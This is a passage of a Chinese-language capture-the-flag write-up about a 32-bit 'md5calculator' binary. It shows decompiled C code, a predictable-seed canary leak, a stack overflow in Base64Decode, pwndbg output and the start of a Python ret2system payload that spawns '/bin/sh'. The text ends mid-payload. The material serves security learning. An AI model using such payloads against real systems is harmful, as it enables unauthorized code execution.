  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">process_hash</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// [esp+14h] [ebp-214h]
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span><span class="p">;</span> <span class="c1">// [esp+18h] [ebp-210h]
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="n">_BYTE</span> <span class="n">v3</span><span class="p">[</span><span class="mi">512</span><span class="p">];</span> <span class="c1">// [esp+1Ch] [ebp-20Ch] BYREF
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [esp+21Ch] [ebp-Ch]
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="c1">// Canary
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="n">v4</span> <span class="o">=</span> <span class="nf">__readgsdword</span><span class="p">(</span><span class="mh">0x14u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">v3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">v3</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="c1">// 清空输入缓冲区的残余字符，直到遇到换行符（ASCII 10）
</span></span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="k">while</span> <span class="p">(</span> <span class="nf">getchar</span><span class="p">()</span> <span class="o">!=</span> <span class="mi">10</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">g_buf</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">g_buf</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="c1">// 读取最多 1024 字节到全局缓冲区 g_buf
</span></span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="nf">fgets</span><span class="p">(</span><span class="n">g_buf</span><span class="p">,</span> <span class="mi">1024</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">v3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">v3</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="c1">// 将 g_buf 中的 Base64 字符串解码，解码后的数据存入局部变量 v3（长度为 512 字节）
</span></span></span><span class="line"><span class="ln">19</span><span class="cl">  <span class="n">v1</span> <span class="o">=</span> <span class="nf">Base64Decode</span><span class="p">(</span><span class="n">g_buf</span><span class="p">,</span> <span class="n">v3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="c1">// 计算解码后数据的 MD5 值
</span></span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="n">ptr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="nf">calc_md5</span><span class="p">(</span><span class="n">v3</span><span class="p">,</span> <span class="n">v1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;MD5(data) : %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="c1">// 释放由 calc_md5 分配的内存
</span></span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">  <span class="k">return</span> <span class="nf">__readgsdword</span><span class="p">(</span><span class="mh">0x14u</span><span class="p">)</span> <span class="o">^</span> <span class="n">v4</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">Base64Decode</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a1</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [esp+2Ch] [ebp-1Ch]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="n">FILE</span> <span class="o">*</span><span class="n">stream</span><span class="p">;</span> <span class="c1">// [esp+34h] [ebp-14h]
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// [esp+38h] [ebp-10h]
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// [esp+3Ch] [ebp-Ch]
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="n">v5</span> <span class="o">=</span> <span class="nf">calcDecodeLength</span><span class="p">(</span><span class="n">a1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="n">stream</span> <span class="o">=</span> <span class="p">(</span><span class="n">FILE</span> <span class="o">*</span><span class="p">)</span><span class="nf">fmemopen</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">a1</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">unk_8049272</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="n">v2</span> <span class="o">=</span> <span class="nf">BIO_f_base64</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="n">v7</span> <span class="o">=</span> <span class="nf">BIO_new</span><span class="p">(</span><span class="n">v2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="n">v3</span> <span class="o">=</span> <span class="nf">BIO_new_fp</span><span class="p">(</span><span class="n">stream</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="n">v8</span> <span class="o">=</span> <span class="nf">BIO_push</span><span class="p">(</span><span class="n">v7</span><span class="p">,</span> <span class="n">v3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="nf">BIO_set_flags</span><span class="p">(</span><span class="n">v8</span><span class="p">,</span> <span class="mi">256</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="c1">// a2是传入地址，即 process_hash 里的 512 字节数组 v3
</span></span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="c1">// 读取的最大长度是 strlen(a1)，也就是Base64 字符串的长度
</span></span></span><span class="line"><span class="ln">19</span><span class="cl">  <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">a2</span> <span class="o">+</span> <span class="nf">BIO_read</span><span class="p">(</span><span class="n">v8</span><span class="p">,</span> <span class="n">a2</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">a1</span><span class="p">)))</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="nf">BIO_free_all</span><span class="p">(</span><span class="n">v8</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="nf">fclose</span><span class="p">(</span><span class="n">stream</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="k">return</span> <span class="n">v5</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>运行报错，因为缺少了32位<code>libcrypto-1.0.0</code></p>
<p>由于经常要加载各种库，和libc，我新建了一个仓库，把32位和64位的不好得到的库都搜集了一下：</p>
<p><a
  href="https://github.com/TajangSec/binlib" rel="nofollow noopener noreferrer" target="_blank"
  >https://github.com/TajangSec/binlib<span style="user-select:none"> ↗</span></a
>
</p>
<blockquote>
<p>gdb调试手动加载库的程序：</p>
<ol>
<li>先<code>gdb ./md5calculator</code>启动</li>
<li>在gdb里面设置：<code>set environment LD_PRELOAD=./libcrypto.so.1.0.0</code></li>
</ol>
<p>然后就可以用这个库运行程序了。
{: .prompt-tip }</p>
</blockquote>
<p>这题要读完代码才行，伪代码还是太难以看懂了。好在有AI，并且不算太复杂。</p>
<p>漏洞点如下：</p>
<ol>
<li>种子是当前时间戳，把脚本也放服务器上，确保时间一致，那么生成的序列可以得到。</li>
<li><code>Myhash</code>使用了Canary值来计算，可以泄露</li>
<li>主要漏洞在于<code>process_hash</code>里面，g_buf能存1024，而v3只有512，可以溢出。</li>
<li><code>Base64Decode</code>写入base64编码后的长度到v3，而v3是512的，传入太长，解码后还是大于512的话，可以溢出。</li>
</ol>
<blockquote>
<p>关于Canary的值，我起初认为只能计算出<code>my_hash</code>函数的Canary值，而<code>process_hash</code>是自己栈帧的Canary，这个是没有参与计算的，那就算不出来，但Canary其实是一样的。</p>
<p>**Canary 在同一个进程中是恒定的。**在同一个程序运行期间，所有函数的 Stack Canary（栈保护随机数）都是从同一个内存地址（在 32 位 Linux 上是 <code>gs:[0x14]</code>）读取的。所以这两个Canary都是同一个。</p>
</blockquote>
<p>{: .prompt-tip }</p>
<p>这里先把脚本放在服务器上调试运行，连接上后获取当前时间，那么后续变量我们都能获得，根据程序显示的验证码，就计算出Canary值。</p>
<p>此时溢出，如鸟上青天，鱼入大海再也不受羁绊了</p>
<p>调试如下：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">pwndbg&gt; stack
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">00:0000│ esp 0xffffd2b0 —▸ 0x804b0e0 (g_buf) ◂— &#39;S0tLSwo=\n&#39;
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">01:0004│-224 0xffffd2b4 —▸ 0xffffd2cc ◂— &#39;KKKK\n&#39;
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">02:0008│-220 0xffffd2b8 —▸ 0xf7ca9620 (_IO_2_1_stdin_) ◂— 0xfbad2288
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">03:000c│-21c 0xffffd2bc ◂— 0x41 /* &#39;A&#39; */
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">04:0010│-218 0xffffd2c0 ◂— 0
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">05:0014│-214 0xffffd2c4 —▸ 0xf7a8378c ◂— 0x7c9d3dea
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">06:0018│-210 0xffffd2c8 ◂— 0x7c9d3dea
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">07:001c│ ebx 0xffffd2cc ◂— &#39;KKKK\n&#39;
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">pwndbg&gt; p/d $ebp - $ebx
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="gp">$</span><span class="nv">7</span> <span class="o">=</span> <span class="m">524</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">pwndbg&gt; x/w $ebp - 0xc
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">0xffffd4cc:     -1324787200
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>v3在ebx那里，距离栈底524，canary在<code>$ebp - 0xc</code>是由伪代码里v4 的<code>[ebp-Ch]</code>得到的。</p>
<p>所以我们要填充512垃圾字符，填充canary（占了4字节）,再填充8字节垃圾字符，再填充ebp所在地址4字节，再填写需要ret的system地址，再填写system的返回地址，再填写参数地址。这就是溢出逻辑链。</p>
<p>还有一个问题是system的参数，程序没有PIE，而g_buf是全局变量，地址是固定的。由于g_buf存储的是base64编码后的内容，这里手动添加00截断，再添加<code>/bin/sh</code>到编码后的payload里面，这样Base64Decode遇到00就不会读取后面的内容。也能把前面的payload写入到v3。所以system的参数地址，要计算payload base64编码后的长度。base64是每3个字节转换成4个字节。payload长度是 512 + 4 + 12 + 4 + 4 + 4 = 540，base64后是720，加上00截断字节，就是721。所以参数地址应该是g_buf + 721</p>
<p>payload如下：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1"># 完整溢出 payload</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="sa">b</span><span class="s1">&#39;K&#39;</span> <span class="o">*</span> <span class="mi">512</span><span class="p">,</span>                <span class="c1"># 1. 填满v3缓冲区</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="n">p32</span><span class="p">(</span><span class="n">canary</span><span class="p">),</span>               <span class="c1"># 2. 原样填充Canary</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="sa">b</span><span class="s1">&#39;K&#39;</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x8</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">),</span>        <span class="c1"># 3. 填充到旧EBP</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="n">p32</span><span class="p">(</span><span class="n">system_addr</span><span class="p">),</span>          <span class="c1"># 4. 覆盖返回地址 → EIP = system</span>
